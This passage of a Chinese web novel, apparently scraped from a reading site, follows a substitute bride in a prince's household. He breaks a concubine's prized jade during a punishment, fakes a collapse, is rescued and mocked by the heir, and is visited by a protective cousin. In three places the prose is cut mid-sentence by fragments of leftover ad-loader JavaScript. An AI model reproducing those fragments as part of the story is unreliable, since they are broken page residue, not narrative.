白照影大声说:“——婚书上写得是娶白家子,二弟是白家子,我也是白家子,如何能算得上是欺君?” 他知道许菘娘绝对不会去查婚书。 果然许菘娘稍微噎了噎。婚书封存进王府密档,她查不到。 她扶了扶鬓边步摇,用小动作掩饰住思路的断档,脑海又浮现出磋磨出白照影的借口,传闻白照影性格软弱。 许氏更为借题发挥:“满口歪理,巧舌如簧,正经人家哪会养出这种促狭鬼,给我掌嘴。” 那两名摁住他的仆妇抬起手掌。 白照影迅速觉察到更加危险,这个许侧妃并不是个好相与的,哪怕自己率先道歉,对方也根本没有身为长辈的气度。他虽吓得眼圈含泪,但绝对不想吃此闷亏。 于是白照影扬起头,再道:“我是世子房里的人,阴差阳错让我嫁进王府,是我与世子天定的缘分。昨夜世子便知替嫁,却仍肯留我服侍左右,娘娘您想,打我不会令世子难堪吗?” 许菘娘:“等等!” 两名仆妇连忙退后。 空气里仿佛残留着火药燃烧时的干苦味。 许菘娘暗自扶稳险些滑落的簪子,她再度凝然,继而陷入两难的权衡:罚,还是作罢? 如果萧烬安对这个世子妃无意,娶回来当个摆设还好,拿他示威,让隋王府看看自己才是能说了算的,这种斗法的后果尚且可控。 怕只怕萧烬安没把人撵出去,这白照影误打误撞得宠…… 萧烬安那孽障,疯起来杀过不少人,世子院飞仙亭倚靠的那座山丘,山底据说有个大坑,正是萧烬安杀人弃尸之处。此子惯来如此做派,想想就让人胆寒。 许菘娘再打量白照影的脸和眼,面若桃花,冷白之中透着浅粉,眉眼润泽含情,皮囊是放眼整个上京城,都挑不出第二款的好颜色。 萧烬安已经成年,为色所蛊,人之常情。 所以这世子妃就算要敲打,也不能来硬的。 许菘娘转转脑筋,使了个不会被抓住把柄的法子,她吩咐婢女小翠:“去把玉白菜拿来。” 小翠连忙去办。从芙蕖院内间捧出个婴儿那么大小的玉白菜,白菜底坐镌着个字——崧。 崧就是白菜。 白照影不懂,并不明白玉白菜上头的玄机,许氏让他双手举过头顶,将玉白菜高高举起。 许菘娘平静地下套:“圣人曾说‘非礼勿言,非礼勿动’。世子妃闯进芙蕖院,先是行为放诞,然后言语无礼,王府主母早逝,我代王妃掌家,爱子情深,见不得殿下房里人荒唐!所以世子妃就举着这颗玉白菜,在院里跪上半个时辰。好好冷静冷静,学习王府里的规矩吧。” 这种话术暗藏心机,白照影也是谨慎地琢磨片刻,方才慢慢想到: 许氏祭出掌家之权,拿王妃狐假虎威,仗着人多势众,甚至还把茸茸当人质。可谓占尽天时地理人和,就是要跟他过不去。自己却不能强行反抗,否则恰好给许菘娘机会,真要打脸教他规矩了。 白照影暗中叹了口气,只得依言受罚。 芙蕖院长廊尚有阴凉,廊外就是烈日暴晒。 白照影就跪在廊外,并且双手举着玉白菜。他本来体质就不太好,刚开始跪就膝盖酸麻,手臂打颤,一颗颗汗珠渗出额头滑至下颌,他眼睛被汗水蛰得很,体感温度得有四十度吧? 瞧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 见世子妃认罚,许菘娘暗暗得意。 那崧字玉白菜对她来说,不仅是个惩罚的物件,她在这行为里寄托着私心,希望自己跟儿子萧宝瑞,迟早能够压过世子头顶,盖过世子这房。 ……就算白照影回去告状,那也是他有错在先,错也认了,跪都跪了,还能怎的? 许侧妃的嘴角抬了抬,斜倚美人榻,品鉴着世子妃受罚。 哗啦啦啦—— 玉碎声响彻芙蕖院。 碎玉片纷纷溅射,在日光中到处乱蹦,犹如在地上刚下过阵绿色的暴雨,满地碎片莹莹发光,那个象征着许侧妃身份与寄托的“崧”字,正好被摔成两半,碎片就迸射到许氏脚下。 哪知竟还不到半盏茶工夫,那颗她与隋王定情的和田玉白菜,就被世子妃摔了个粉碎。 许菘娘难以置信地望着白照影,再看向满地狼藉,她从美人榻上站起,感觉一口气哽上喉咙,她又坐回榻上,浑身都在颤抖: “你,你……你——” “你”了半天,因为气愤交加,气得愣是没说出后面的话。小翠连忙按住许崧娘后背规律地抚拍,她稍微顺气,这才冰冷道:“你故意的。” 天地良心,我不是故意的。 白照影尽力露出个诚恳的眼神,手臂犹在酸麻,在袖子里颤抖:“娘娘误会了,是我实在没这个力气。” 其实不解释还好,越解释越坐实他有逆反情绪,许崧娘不相信他的话,矛盾也越来越大。 许氏再也装不下去主母仪态,深深呼吸几口:“那颗玉白菜乃是王爷所赐,你不孝母,不敬父,虚伪矫情,狐媚惑主,若我掌家还能容许你如此飞扬跋扈,恐怕这副隋王府的对牌我也不必拿了——请家法。” 家法立刻被端上来,有简单的三样:军杖白绫跟清香。 军杖打人,清香跪祠堂,白绫赐死。 两名健仆手持军杖向白照影踱过来。 白照影眉梢微敛,本能地想逃跑,自然不想挨这顿打,但逃跑肯定跑不出去,白照影目光映入那条白绫,想到了装死。芙蕖院可以对他动家法,可许侧妃,绝不能轻易要他的命。 白照影干枯的嘴唇缓慢翕张,在强烈的日光下向侧面瘫倒,嘴里吐出口将断未断的气息。前世被下病危通知书积攒下来的丰富经验,使他装病手到擒来。倒下时眉心紧紧地蹙了蹙。 唯一的失误就是摔倒的方向不对,好疼,许多碎片扎在他的身上,白照影忍痛没出声,因为受伤导致的面容憔悴,使得这种装病看起来更真实了。 许氏怔了怔,受罚和责打有天壤之别,她根本没想到事态会往这个方向发展,饶是许崧娘对白照影有千万个不满,现在也得顾全大局道:“先救世子妃,看看世子妃怎样……” 芙蕖院顿时兵荒马乱。有丫头过去搀扶白照影,还有婢女婆子给他探脉象、掐人中。 天很热,身边围着这么多人,各个都像火炉子,再加上人声嘈嘈切切,当然令人更热。 白照影骑虎难下,刚才倒地时被碎玉刺破的地方,泛起针扎般的疼痛,他任由她们摆弄,心中期盼什么时候才能结束,你们永远叫不醒一个装病的人,不行就派人将我送回世子院吧。 他在度秒如年当中煎熬,勉力控制自己的呼吸,变成细得像线一样虚弱,他感到身边丫鬟们手臂变得有些僵硬,庭院的喧哗也逐渐停止了,芙蕖院沦陷于诡异莫名的寂静。 他很好奇,听见了脚步声,又不敢睁眼。 这脚步声他是熟悉的,看似散漫随意,却每一步都很有力量。 许氏的簪子掉下来,发出一阵清声。院内院外整整齐齐行礼,许氏也不得不从美人榻站起身,恭恭敬敬地道:“给殿下请安。” 萧烬安。 白照影早就听出是他,却又不敢相信会是他。这时身体悬空,被萧烬安抄着他手臂和膝弯抱起来。贴近了另一个人的怀抱里。 5. 狐假虎威 碎玉声泠泠。 白照影心也像悬起来,眉尖不由自主地一跳。 他闻见了萧烬安身上混合着雪松味的铁锈气息。天很热,挨着他胸膛,体温比刚才那些侍女还烫,白照影未免撑不住,睫毛轻轻颤动。听见了萧烬安发出声唯有自己能察觉的冷笑。 ……完蛋!露馅儿了,他知道我是装的了! 白照影露出马脚,萧烬安却好像混不在意,反倒是把白照影抱得更紧了些,让人难免有一种被当成易碎品呵护的错觉,白照影心头控制不住地快跳。 前世白照影久病,很少与谁如此接近过。 但白照影还是冷静下来,知道对方绝非来救自己,毕竟他昨晚险些还被此人掐死,这人向来翻脸比翻书还快,于是刚才那点儿感激之情倏地被风给吹散了,感激与察觉不到的悸动,余韵变成了阵阵寒冷。 他到底想干什么? 沉默像被拉长到无限远。萧烬安让芙蕖院众人行了有半刻钟的礼,方才懒洋洋地开口: “原来王府,有虐待我房里人的规矩?” 许崧娘头皮发紧。 隋王世子尊位,早在萧烬安出生那天,就由朝廷敕封。哪怕她经营多年方才拿到王府的掌家之权,地位却与萧烬安依然天差地别。 她没想到萧烬安会亲自来到芙蕖院! 许崧娘打马虎眼道:“世子说笑了。哪有什么虐待?不过是世子妃误入芙蕖院,小事而已。”她顿了顿又说,“王爷在道场诵经,妾身刚才在午睡,怎能想到竟把殿下惊动了。” 许崧娘埋怨萧烬安不该擅闯庶母的领域,她话里有话。 萧烬安缓慢而冷淡:“世子妃人生路不熟,我来接他。却发现原来小事也要动用家法。”这是把冲撞庶母的话头,又给她堵回去了。 两方短兵相接,白照影闻见明显的火药味。 这让他忽然明白,萧烬安此行,因为他与许氏矛盾颇深,不想许氏得意罢了。 可这让白照影看到了机会——世子睚眦必报,他可以与世子达成同盟,双方共同对敌,他就能顺利脱身离开芙蕖院。 白照影想到这儿哽了哽,作势醒过来,他眉梢轻颤,在怀里拱了拱萧烬安。显出死里逃生又万分可怜:“夫君……”那小钩子似的嗓音又响起来。 萧烬安手臂有一瞬间僵硬,他不着痕迹地调整呼吸:“醒了。” 白照影点点头,依偎着他胸口呢喃: “真对不起,夫君。是我错了。我错在让夫君担心,我应该更早点给娘娘道歉,就算娘娘让我举二十多斤的玉白菜罚跪也不能手抖,挨棍子也不能吭声,我给夫君跟娘娘添了麻烦。” 他每说一个字,萧烬安脸色就阴沉几分。 他在被横抱起来的视角观察萧烬安,看到对方越绷越紧的唇线,心中充满对萧烬安演技优越的夸赞。 于是白照影捧起左袖,故意让萧烬安看看他被碎玉片刺出的血,袖子上宛如落着朵红梅,他捧到萧烬安跟前飙戏,劝他不要因为小事生气,果然那片血让他更为凛冽的气息压迫下来。 萧烬安像被这滴血拨动了某根不会被轻易触动的弦。他的目光向王府家法缓慢地挪去,先望向那条刺眼的白绫,眸光遗憾地闪了闪。 许崧娘在暗中深吸口气。 掌家之妾,于内眷来说可能还算个人物。对于嫡子而言,她什么都不算,她就算有隋王的宠爱傍身,隋王不在身边。而萧烬安,疯起来随时能把她投环。 白绫在下午热辣辣的风里抖动。 许崧娘尽管站着,却恨不能变成缕随时可以飘走的空气,沉默太难捱了,她怕极了对方那种漠然的眼神,纵使对方什么也不说,她依旧觉得他来自地狱。 有风把白绫吹动,落在许崧娘脚下,许氏吓得“啊”一声连退几步,像生怕那条白绫成精捆住自己似的!芙蕖院的婢女侍卫受到惊吓,再度齐刷刷地跪倒:“世子恕罪!殿下恕罪……” 唯独白照影支起头,匆忙瞧了眼热闹,又装作身体不适,扯着萧烬安的衣服调整个更舒服的姿势看戏。感受到萧烬安落下个目光,不敢得意忘形,连忙不动了。 萧烬安似笑非笑地凝视他:“爱妃伤得这么重,得请全城的大夫,来府上给你好生诊治。” 整个上京城,得有上百家医馆吧? 白照影轻轻启唇,又不敢婉拒,对方有点可怕。 “你那件血衣也破了,我们要一模一样的料子,现在就让人去集市,挨家挨户地比对。” “好、好的,谢谢夫君。”白照影喉咙发哽。 许氏则是心里发虚,世子的两名侍从当真去买衣料请大夫,她方才知道萧烬安是想诛心,大夫是人证,血衣是物证,两者都流传出去,上京贵妇圈该怎样看自己? 那萧烬安从来不在乎声名。 她的瑞儿可是到了娶亲的年纪,她刻薄儿媳的名声传出去,瑞儿还怎么娶亲! 许菘娘顿时冷汗涔涔。连忙上前挽留:“殿下,府中也有大夫,定能调理好世子妃玉体,妾身也可开启库房,里面真丝锦绣应有尽有,可任由世子妃挑选,殿下……” 萧烬安不听她私了。走出了芙蕖院。 离开许侧妃的活动范围,白照影松了口气,他顺利逃脱虎口,达成今日份狐假虎威,只觉得一身神清气爽,恨不能当场哼哼个小曲。 但谁知身下倏然一空,老虎双手撒开,白照影被萧烬安丢进草丛,刚才抱在怀里的至宝,变成现在随手可以扔掉的废品,草叶窸窸窣窣,白照影惊起两只粉蝶,不可置信地扒拉下来满头草梗。 好疼! 他含泪的眼睛注视萧烬安。 萧烬安并不留恋,他更加愉悦地审视白照影的委屈,像看见了什么有趣的东西,嘴角幅度不大地抬了抬: “自己走。” *** 春末夏初,蝉在叫! 白照影浑身的骨头,疼得就快要断了。 他身上有皮外伤,再加上被人当成个麻袋似的丢进草丛,白照影羞愤交加,以至于他刚被茸茸搀扶进屋,就趴在屋外的卧榻,为什么会有人这么讨厌呢? 嘘,小声些,隔墙有耳,也许萧烬安神通广大,就是他在心里说话,也要被萧烬安听见,又要变着法子折磨自己了。 白照影脱掉外衣,艰难地在卧榻翻了个面。 庭院外有嘈杂的脚步声,成美奉命去请全城医者,大夫们纷纷提着药箱,站在院外排队,给世子妃看诊,隔着帘子只听声音,感觉人数众多。阵势把茸茸吓了一大跳。 小丫头连忙凑到白照影旁边,低声说:“少爷,外头有上百个人啊。”那样子不像该给世子妃看病,反倒该给世子爷看看脑袋。 白照影胡乱地嗯了声,他隔着帘子,望了望对面的庭院,萧烬安正在屋子里品茶,动作慢悠悠的。 他看不清萧烬安的面容,只看见对方抿了口茶水,然后做出个杯子向前敬茶的动作。白照影被发现连忙趴回榻上,脸莫名有点泛红。 … (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' …就是讨厌。 大夫们按顺序进来了。 第一名来看诊的大夫最为慎重,因为不清楚到底怎么回事,他放下药箱先请安,然后再给世子妃小心翼翼的诊脉,查看世子妃身上碎片留下的部分伤痕,仅仅是观看,并不敢触碰。 “世子妃这身伤可是打碎了花瓶?” “不,是我在芙蕖院受罚。” 芙蕖院三个字一出,大夫知是内宅隐私,连忙闭了嘴。他们平时也给达官贵人看病,多少知道些隋王府的情况,只是不敢妄议,大夫诊完病后匆匆写下药方,交代几句赶紧就走了。 第二名、第三名…… 之后白照影把刚才这些话,又是纷纷向所有大夫重复了一遍,越说越觉得活在王府委屈,然后又想起来他受伤还被萧烬安扔进草丛,渐渐在交代病情时夹杂私货。 嘴上依旧给许崧娘的名声抹黑泥,实际拐弯抹角骂萧烬安不是东西。说到动情时用被角蘸蘸眼睛啜泣。 北屋的声音隔着两道帘子传进南屋。 萧烬安淡淡咀嚼着白照影的话: “我满身划痕,五内俱焚,只想求死,不想求生。” “如今闭上眼睛,我连呼吸都是痛的。从肩膀往下整个人都像是被摔碎了。大夫再看看我的腿,我的腰,还有脊梁骨……是不是需要有断续再接的地方?需要打石膏吗?” “敢问世子妃,何为石膏?” “没什么,我在书上看到的典故,形容痛得伤筋断骨。” 南屋萧烬安拨弄着手里的茶盏盖,褐色的茶汤表面,似乎倒映出白照影娇憨的影像,像个敢怒不敢言的猫崽。小猫满腹心思,但很怂,只有用不露爪子的肉垫虚张声势地挠他几下。 萧烬安突然露出笑容。 门口的成安听见笑声瘆得慌,挠挠头皮:“殿——” “闭嘴。”萧烬安打断,“碍着我听戏了。” 成安莫名。 哪里有戏? 进北屋最后一名大夫,是个得有七八旬的颤巍巍的老者,这老人姓陈,萧烬安隔着帘子都认了出来,他在上京城内颇有名气。以前因为某些缘故,他也曾向这位陈老大夫求医问药。 陈大夫号脉号得时间最长。足有半刻钟。不时抖抖半边长眉,搭脉搭得白照影都有点儿心里犯嘀咕,这才终于听见陈大夫嗓音沙哑地道:“都是庸医。” 白照影屏住呼吸。 他上辈子几乎在医院里长大,其实他害怕看病,若非知道这具身体没得那种重病,他断然不敢再见这么多大夫……还是说,他那个病,又回来找他了? 白照影心口像堵住块石头,血液犹如在瞬间凝滞。 他在榻上蜷起小腿,隔着帘子,看见萧烬安换了个姿势的人影。 陈大夫道:“世子妃不仅有外伤,更主要的是,目前尚有神魂不稳之症,所以底子发虚,偶尔贪睡,力气不足。若是不能好生将养,恐怕还会有突然昏倒的时候。” 不,昏是装昏。 但白照影想起自己摔碎玉白菜的那时,手上的确使不上劲。如果说许侧妃跟他的矛盾彻底激化,就是因为他把玉白菜打碎了,那能治好他没力气,也算是祛病除根吧。 白照影问:“何为神魂不稳?” “魂魄本身不属于这个躯壳。” 屋内的虾须帘轻轻晃动,白照影猛咳了几声,再次确定他穿进来的是宅斗而并非修仙文,抿了抿唇,心里虚成条虚线。追问:“那岂不成……咳,岂非闹鬼了。” 6. 对谁撒娇 白照影躺在医院看闲书时,曾看过些故事。 无论是在华国封建时代,还是欧洲的中世纪,越是科技不发达,人们就越避讳谈论鬼神,甚至可能把解释不了的怪异现象、灾难……推给他们认为是鬼怪巫师的人。 乱搞巫术,在古代有一万种死法,不论这大夫接下来要说什么,白照影都不能认。 他挽起衣袖让陈老大夫看看他新鲜的伤口,血渍未干:“您看,我是活生生的人。” 陈老大夫颤巍巍地拱手,沙哑地补充:“也有可能因为接连遭逢变故,神思紧绷,情志内伤,这种病不如说其实在心底,表现出来就是身体不适,老百姓常说‘像丢了魂儿一样’……” 想到这条来之不易的小命,白照影当然决定认这个,不能认自己穿书。 他长长一声叹息: “唉。” “也不瞒大夫,我本久居后宅,初次离家,又是嫁给天潢贵胄,以前我还是个温吞水的性子。我怕做得不好,怕给世子丢人,害怕在王府行差踏错……日日担惊受怕,让您见笑了。” 南屋萧烬安茶盏与杯盖轻轻一碰。 他未能听清楚许多字,只听白照影不断重复害怕。 他记起白照影新婚时求他,被罚时用带着惊诧的眼神瞧着他,将那染血的衣袖递给他看,血液鲜红的颜色,在他脑海刺得慌。 白照影蝇营狗苟小心翼翼地讨好…… 萧烬安嘲弄地挑起嘴角,冷漠地锁了锁眉。 而中庭那边,茸茸礼貌地搀着老大夫走出庭院,边走边说:“您慢点,慢些,这里有门槛,药箱茸茸帮您提。” 老者还再絮絮地叮嘱:“切记,姑娘,世子妃要好生调养,切莫再受惊吓。” 北屋白照影还趴在榻上哼哼唧唧。 萧烬安更加烦躁起来,放下茶盏,语气无甚起伏地对守在门外的成安道:“拿融雪膏。” 融雪膏生肌弥骨不留疤痕,外敷时有剧痛。 成安做事不带脑子,提醒萧烬安:“因为殿下常常受伤,融雪膏只剩下半瓶了。要是伤势还不太严重,属下给您拿点儿别的。” 屋内一时沉默,萧烬安并不答话。 成安被萧烬安给出的压力缓缓杀死,拔腿去了。 *** 世子院私库不同于王府,因为许侧妃把持公中,有些东西入了库反而不方便取用,萧烬安自老王妃死后,逐渐暗中建立起自己的库房。世子常用的兵器、伤药、暗器,都藏在里面。 平时这些都是成美负责,成美在绸缎庄散播芙蕖院刻薄世子妃的传闻,暂时回不来。成安从南屋出去了半个时辰也没回来,很明显,他没找见。 萧烬安眸光不耐,拨开虾须帘,踱步出房间。 他刚一出门,白照影后背就仿佛牵着条线,他撑着手臂支棱起来,狐疑地望向萧烬安离开的方向。可惜他并没能解锁世子院所有地图,萧烬安又想作甚,他不太明白。 不过白照影也没有多想,庆幸自己暂时平安。 白照影唤茸茸去拿伤药。刚才大夫们只开了方子,留下了许多药瓶。可是他们不敢给他包扎伤口,所以到现在伤口还裸露在外面,一碰就痛,伤口边缘还是青青紫紫。 白照影心疼地扁了扁嘴。 上百名大夫留下的伤药,都是薄荷脑那种又凉又辣的气味。 白照影在鼻子前面扇风,呛得他直打喷嚏:“茸茸,药太难闻了,快去再拿点香膏来。” 茸茸言听计从:“都有,少爷请稍候!” 茸茸的小身影拨开帘子跑出庭院,一双小短腿倒腾得极快。 她刚走,北屋的虾须帘又动了:“禀报世子妃。” 外面是世子院的侍从,不记得姓名:“迎客厅有您的娘家人来看您,人知道刚才您在就诊,所以没让通传,已经等很久了。” 白照影心中略沉,娘家人? 白家的? 他早就知道白府设计谋害自己,听到他们的到来,不仅没生出半分期待,反而迅速拉满警惕——这会儿白家不是应该还在处理那桩欺君之罪吗? 侍从禀完事就走了,没留下更多信息。 白照影思前想后,到底是不能不去,万一白府再给他扣上顶不孝的帽子……他好像还得费力气撇清干系,古代可真麻烦。 前世白照影被家人无限呵护宠爱。 这世界的家人并不爱他。 白照影垂眸。 他想爸妈了,还有他的祖父祖母,外公外婆,他们一路磕磕绊绊给他治病培养他上大学,哪怕知道即使将他精心养育到十八岁,之后他也并不能活太久。他是全家唯一的遗憾和明珠。 迎客厅就在眼前。 他踟蹰站在石阶之下,感受到一片孤立无援的清寂。 他想,如果来的是白父,他喊不出那个人叫爸爸。他的爸爸,是个斯文的中年人,每次回家都会到房间先探望自己,会哄他说“病一定能好起来”,很爱很爱他。 白照影偷偷掉了颗眼泪。 他拼命地吞了口口水,手背把眼泪抹去,他拔腿要跑。 可是那个瞬间,有阵清润的嗓音,从身后响起,语气温和得像春风一样: “不是受伤了?还跑这么快。当心摔着。” 白照影缓缓地止住脚步,向后侧过半边身子,瞧见身青色的袍裾。 青年主动向白照影靠近,他回头看清楚这个人的脸庞。眉清目秀,神态俊雅,身材颀长仿佛亭亭竹节,他唇边含笑,笑起来就像块古老又典雅的美玉化形了。 他是……谁? 被这身风度吸引了眼球。 对方的身份,白照影却一筹莫展:白老爷?白兮然? 恐怕都不是。 迎客厅响起茸茸的喊声,小丫头端着两瓶香膏来找白照影了,她一见到这青年男子,连忙激动地紧走几步,让门槛绊住脚,差点儿把漆盘掀翻: “表少爷!……不对,是小侯爷!不不不,也不对,您今年春闱在殿试上得了好名次,今后就该称呼您官职,叫您崔大人啦!” 表少爷,姓崔,不是白家的人,是原主生母那边的亲戚,倒也算是娘家人。 这个人能耐心等自己看完病,还对茸茸这小丫头忘记身份尊卑的呼唤不以为忤,白照影猜想,他要么是与原主很熟,要么就是格外温柔。 又或者是二者兼备。 白照影试探地唤了声,说短促词语时,总是很清甜的:“表哥。” 崔执简微微凝住。 *** 傍晚的阳光斜照,染红了白照影半边脸颊,使声音像晚霞飘忽,气质也变得跟以前不同,很光艳很浓丽的模样,像一树盛放的桃花。 他这个表弟,从很小的时候开始,就是很内向的性格。因为他太怯懦,姑母才在临终前托付自己永远照顾他,崔白两家于是定下婚约。 可是前不久姑丈商定两家退婚,退婚次日,他就收到了他表弟的下落,原来白照影竟被白家偷梁换柱,到了隋王府替嫁! 隔日,他又收到了全城大夫为表弟白照影看诊的传闻,动用了那么多大夫,表弟果然在王府受到磋磨。 于情于理,他身负托孤之重。纵使婚约取消,也不能置身事外,愧对姑母的在天之灵,这是他对白照影的责任。 ……曾经他对白照影唯有责任。 如今。 婚事的责任卸下来,崔执简望着白照影,竟莫名心中浮现起一丝惆怅。他把那股不该出现的情绪压下去,问:“坊间传闻你在王府出了些事情,现在解决了吗?” 白照影一时语塞。 怎么说呢?他确实报复了许侧妃,但今后还要生活在同一个屋檐底下。至于萧烬安那边,自己更是与他相处得如履薄冰,境况实在不容乐观。 但扬起来却是个微笑,因为不愿让这本书里,唯一一个肯关心自己的家人为自己担忧,算是弥补他上辈子没有余力,为家人做些什么的遗憾吧。 “我很好,解决啦。” 笑容也是崔执简完全没见过的鲜活神态。 崔执简凝了凝,对他的话半信半疑,从身后捞出个牛皮纸袋,悬在白照影眼前摇了摇,牛皮纸包上面覆着红封。 崔执简温声说:“我给你带来些好东西,尝尝看,是你喜欢的。” 他喜欢什么? 原主的喜欢,跟自己一样吗? 那种熟悉的被照顾的感觉浮现上来。 白照影竟又对崔执简多出几分信任,凑近纸包歪头去看。 崔执简慢条斯理地把麻绳解开,红封缓缓取下来,牛皮纸里头露出几十个粽子状的糖果,颜色如宝石,是一个个粽子糖,每颗都晶莹剔透。 白照影眼睛亮了亮。 前世他怕血糖失衡不怎么敢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吃甜食,这辈子虽然活得更加举步维艰,但他一直尽量在满足口腹之欲。 他在崔执简手上认真挑选起来——薄荷味的太凉,桂花味的又有点太腻……他挑挑拣拣给每颗糖果找了个不想先吃它的理由,最后拈了颗最符合心意的玫瑰松子糖含在嘴里。 花香在口中晕开,白照影眼睛里的光更亮了: “谢谢表哥,粽子糖真好吃。” 掌心被白照影隔着牛皮纸来回拨弄,白照影指尖将触未触,像蝴蝶在手掌起舞,痒痒的。 白照影满足地享用了几块糖,崔执简却还伸着手。 直到白照影问:“表哥?” 崔执简方才滞后地冒出句:“吃太多糖牙疼。” 他把他当自家人,白照影自然而然地嗔怪:“牙疼也是都怪你。你不买糖我就不吃了。要是我真长了虫牙,表哥要向我道歉。” 崔执简:“……” 隔了好半晌,崔执简方才微微抬起唇角,温柔的眼眸将白照影包容进去:“好。” 他将白照影看得仔细,见到白照影擦手时,手腕往下有道红痕,是块新受的伤。 崔执简思绪默默绷紧。 他知道萧烬安是怎样的人,宫廷宴饮,时令节会,凡有这个人出现,几乎当场便会流传他荒诞无稽的风闻。 以往崔执简秉持君子之道,认为与这种人井水不犯河水,避而远之即可。 现在白照影却成这疯子的直接受害者。 崔执简既气愤又怜惜,因为这块伤,他眉目冷下来,对白照影道:“隋王府不比其他宅院,姑丈跟白家暂时顾不上你。可你不必有动辄得咎的担忧,若你真受了委屈,或有性命之虞,纵使拼却功名爵位不要,我崔执简也会护你周全,让隋王府知晓,你的母族也有底气。” “……” 他的话还没说完,白照影就感到心底凭空升出一阵热流,迅速蔓延至四肢百骸。他轻轻吸了口气,再次不着痕迹地来回打量,觉得崔执简身上有种很熟悉的气质。 温柔又从容,很像他们白家的长辈。 白照影思绪乱搭。 从崔执简这个人,突然回想起书中崔执简的结局——他承袭了文翰侯的爵位,官职做到大虞朝顺天府府尹,也就是上京市□□。 原书围绕白兮然和七皇子展开,像崔执简这样的能臣角色,也许被安排成主角攻受在政坛的助力。白照影没想到这个人会是自己的表哥。 所以,他为崔执简高兴,也为自己高兴。 白照影想:如果隋王府这条剧情走完,萧烬安战死,他在上京就是寡夫,寡夫门前是非多,但他至少还有个表哥可以依靠,想必不会有谁能欺负自己。 活在古代当真不易。 白照影规划好了后半生的路线,低徊婉转地叹了口气。 然而崔执简却因为他这声叹息,以为白照影不信自己的话,眸光略定了定,想给白照影再吃颗定心丸。 可是他正待启唇时,话却被迎客厅外一阵笑声堵回喉咙: “哈,哈哈哈哈……” 萧烬安笑得开怀,让人听见却冷得发抖。 同样的夕照映在白照影身上像鲜花着锦,披在萧烬安身上,则宛如给修罗厉鬼喂饱了血。 崔执简抿了抿唇,在瞬间筑起防备,略向前走了半步,将白照影挡在了后边。 这小动作自是没逃过萧烬安的眼睛。 萧烬安听说白照影在迎客厅与崔执简见面。 他揣着融雪膏,在迎客厅外站了会儿。 凭他的武功,自是无论出现在哪里,都不会引起其他两人的注意。 于是他看见到白照影对别人笑,吃别人的糖,跟别人说说笑笑,然后还围在崔执简身边,像小鸟啄食般在他掌心挑挑拣拣…… 躁郁感再次海潮般浮现。 他觉得自己见不得美好的感情。并且发现了白照影这个小骗子的另一面——原来他不止有花言巧语,口蜜腹剑的时候,还会有爱笑爱娇,轻易向别人痴缠耍赖的模样。 “要是我真长了虫牙,表哥要向我道歉。” “好。” 指腹摩挲着融雪膏的药瓶,屋内越发言笑晏晏,屋外萧烬安心里那股无名火就更为旺盛。 可是他嘴上依旧懒洋洋地开口,话像利剑贯穿崔执简心尖: “连张婚约都守不住,你能护谁周全?” 7. 需要热水 崔执简有一瞬间,脸色很不好看。 好在他风度涵养好,又迅速恢复了君子如玉的姿态,拱了拱手,态度不卑不亢: “世子妃已嫁进隋王府,日后唯有世子能够护他周全。” 萧烬安:“那确实与你无关。” 崔执简难得的噎住了。 他强行整理思绪,告诉自己白照影还在这人手里,他特意提起白照影的伤势:“可我听说今日上京城所有大夫都来王府给舍弟看伤,希望世子更周全些。” 萧烬安笑了:“也是多亏本世子为爱妃做主,如果等到傍晚,不必叫大夫,而要买寿材。” 傍晚的夕阳染透红云,晚霞罩顶。 崔执简渐觉呼吸有些困难。 白照影竭力缩小存在感,刚穿到书里,许多内情他不知道:他不知道原主跟表哥有过婚约,更不知道表哥这么文雅的人,竟然也得罪过大魔王? 萧烬安垂眸闲适地拨弄衣袖。投过去个眼神,让白照影过来。手臂搭上白照影单薄的双肩,从后向前做出个将人牢牢禁锢的姿势。 白照影像被两只翅膀包住,露出张小脸,一个精致的小玉瓶在萧烬安掌心显露:融雪膏。 萧烬安抱着白照影在耳边道:“替嫁我没追究。受委屈赶去救你,受伤给你拿来灵药,待你好不好?” 气息掠过白照影耳后,瞬间将他雪白的小脸烫红,白照影脑袋嗡嗡作响,甚至都听不清他在说什么话,鬼使神差地点了点头。 “好……” 崔执简略微呆了呆。 他想捕捉白照影是否被萧烬安胁迫,想了想,替嫁救人跟拿药,萧烬安处理这三件事时,居然都没有错处。 崔执简回想起白照影的话:“表哥,我很好,解决啦。” 崔执简微微苦笑,被碎发刺得眯了眯眼。萧烬安是个被上京贵胄视作反面典型的人物,可是难道他对白照影,当真是有情意的? 他不免再望向两人。白照影一张小脸,在萧烬安怀里被衬得像是只眼睛水汪汪的小动物,这二人同时面对自己,显得是新婚燕尔的难舍难离。 崔执简呼吸像是被勒住了。半晌才干巴巴地道:“世子善待舍弟,崔某不胜感激。” 萧烬安:“他与你无关。” “……”崔执简那口气在喉咙里哽着有如实质。他自小作为礼仪君子,简直从来没碰见过这种说话态度的人,若非白照影这层关系,他肯定拂袖而去。 白照影困在萧烬安怀里,这回算是完全看清楚了: ——大魔王不是跟谁有仇,而是不想让任何人好过! 他厌恶白兮然,是白兮然自作聪明算计他。 报复许菘娘,因为许菘娘一直惦记他母妃的正妻之位。 至于表哥崔执简,如何也解释不通,所以只能说兴趣使然,他故意恶劣地捉弄,让表哥误以为自己平安,还要打消表哥拯救自己出苦海的念头,这样自己和表哥都会很不舒服…… 白照影闭着眼打了个寒噤。心说碰上的这个人真有够疯,还是个反社会人格! 他那点儿细细密密的颤抖,当然没逃过萧烬安的感知。 萧烬安反而更温柔:“天不早了,我们回去。我给你涂药。” 融雪膏的玉瓶泛起融融的光泽,白照影暗中咽了口口水。事到如今拉上崔执简鱼死网破的事情,白照影做不出。他这个表哥纯文官,自己是个战五渣,他俩谁也打不过。 白照影两害相较取其轻,决定先把表哥放走,再将萧烬安哄住。 他温顺地用一双纤细的手握住萧烬安的左腕,扒拉着他对崔执简道: “再次多谢表哥送来的药跟食物,表哥回府以后,请代我给舅父舅母问安,王府宅院幽深,我让随从送送表哥。我们要回去了。” 刚才那个进北屋报讯的侍从,领命送文翰小侯爷出府。 崔执简走出几步,倏然回头,目光又深深地凝望迎客厅一眼: 只见萧烬安似笑非笑,白照影仍被萧烬安抱着,他朝自己挥了挥手:“再见表哥!” 崔执简略微颔首:“保重。” 回过身面朝世子院门外时,终究是耐不住,崔执简眉头深皱。 